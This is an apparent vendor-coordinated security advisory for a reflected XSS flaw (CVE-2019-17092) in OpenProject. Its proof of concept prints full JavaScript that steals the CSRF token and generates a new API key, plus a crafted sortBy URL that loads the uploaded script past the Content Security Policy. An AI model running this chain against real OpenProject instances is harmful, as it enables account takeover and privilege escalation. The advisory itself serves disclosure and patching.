Reflected XSS vulnerability in OpenProject (CVE-2019-17092)

Project Description

XSS vulnerabilities allow an attacker to perform unauthorized actions on behalf of another user. In addition, authentication data and other sensitive information can be intercepted directly.


Vendor description

“OpenProject is the leading open source project management software. Support your project management process along the entire project life cycle: From project initiation to closure.”

Source: https://www.openproject.org/

Business recommendation

Update to the latest version of OpenProject. An in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues.

Vulnerability overview/description

1) Reflected XSS vulnerability (CVE-2019-17092)

The project list of OpenProject lacks input validation on data that is output inside an error message. Due to the Content Security Policy inline scripts/styles weren’t allowed and the script source was limited to ‘self’. To bypass this a JavaScript file was added as attachment to an existing project. This could be used to extract the CSRF token and create a new API key.

Proof of concept

1) Reflected XSS vulnerability (CVE-2019-17092)

Within this proof of concept, two steps are done. First the JavaScript code to be executed is uploaded as an attachment to fulfill the Content Security Policy of ‘self’. In the second step the uploaded JavaScript code is executed through the reflected XSS vulnerability by using a script-tag.

a) Upload JavaScript code

An attacker can upload a JavaScript file as attachment into any project in the default configuration. The attachment can be called directly, but will be downloaded automatically. But since the browser doesn’t care if a file shall be downloaded or displayed when loading it from an src-property, an attacker can easily use it for the reflected XSS vulnerability.

In this proof of concept the following JavaScript code was uploaded:
(async () => {
	var csrf_param = document.querySelector('meta[name=csrf-param]').content;
	var csrf_token = document.querySelector('meta[name=csrf-token]').content;

	var req = await fetch("http://$IP/my/generate_api_key", {
	    "credentials": "include",
    	"headers": {
    	    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    	    "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
            "Content-Type": "application/x-www-form-urlencoded",
            "Upgrade-Insecure-Requests": "1"
    	},
    	"referrer": "http://$IP/my/access_token",
    	"body": "_method=post&" + csrf_param + "=" + encodeURI(csrf_token),
    	"method": "POST",
    	"mode": "cors"
	});

	var resp = await req.text();

	var regex = /(Your access token is:\<br \/\>\<strong\>)(.*)(\<\/strong\>)/gm;
	var api_key = resp.match(regex)[0];
	api_key = api_key.slice(35, -9);
	alert("Generated new API key: " + api_key);
})();

This gets the CSRF token and the parameter name (since this seems to be configurable) and sends a request to the generate_api_key functionality. After parsing, the key is exposed in a message box, but can be used for further operations like adding an administrative user.

 

b) Craft link

The reflected XSS vulnerability was found in the URL parameter sortBy of the path /projects.

There an attacker may add any HTML code. Such a link could be:

http://$IP/projects?sortBy=[[%22%3E%3Cscript%20src=%27/attachments/29/test.js%27%3E%3C%2Fscript%3E%22%2C%22%22]]

 

Vulnerable / tested versions:

The following version has been tested which was the latest version available at the time of the test:

  • 10.0.0
  • 10.0.1

According to the vendor, all versions before v9.0.3 and v10.0.1 are affected.

Vendor contact timeline

2019-10-02Contacting vendor through security@openproject.com
2019-10-02Vendor verified the vulnerability and released the fix
2019-10-08Verified fixed vulnerability
2019-10-08Vendor announced that they will publish the CVE and full advisory
2019-10-14Public release of security advisory.

Solution

The vendor provides an updated version (v10.0.2 and v9.0.4) which should be installed immediately.

Release notes of the vendor:

https://www.openproject.org/release-notes/openproject-9-0-4/

https://www.openproject.org/release-notes/openproject-10-0-2/

Workaround

None.

Advisory URL

https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

EOF David Haintz/ @2019

Interested to work with the experts of SEC Consult? Send us your application.
Want to improve your own cyber security with the experts of SEC Consult?
Contact our local offices.

Project Details

  • TitleReflected XSS vulnerability
  • ProductOpenProject
  • Vulnerable version<= 9.0.3, <=10.0.1
  • Fixed version9.0.4, 10.0.2
  • CVE numberCVE-2019-17092
  • ImpactMedium
  • Homepagehttps://www.openproject.org
  • Found2019-09-27
  • ByDavid Haintz (Office Vienna) | SEC Consult Vulnerability Lab

Cookie Preference

Please select an option. You can find more information about the consequences of your choice at Help.

Select an option to continue

Your selection was saved!

Help

Help

To continue, you must make a cookie selection. Below is an explanation of the different options and their meaning.

  • Accept all cookies:
    All cookies such as tracking and analytics cookies.
  • Accept first-party cookies only:
    Only cookies from this website.
  • Reject all tracking cookies:
    No cookies except for those necessary for technical reasons are set.

You can change your cookie setting here anytime: Blog. Blog

Back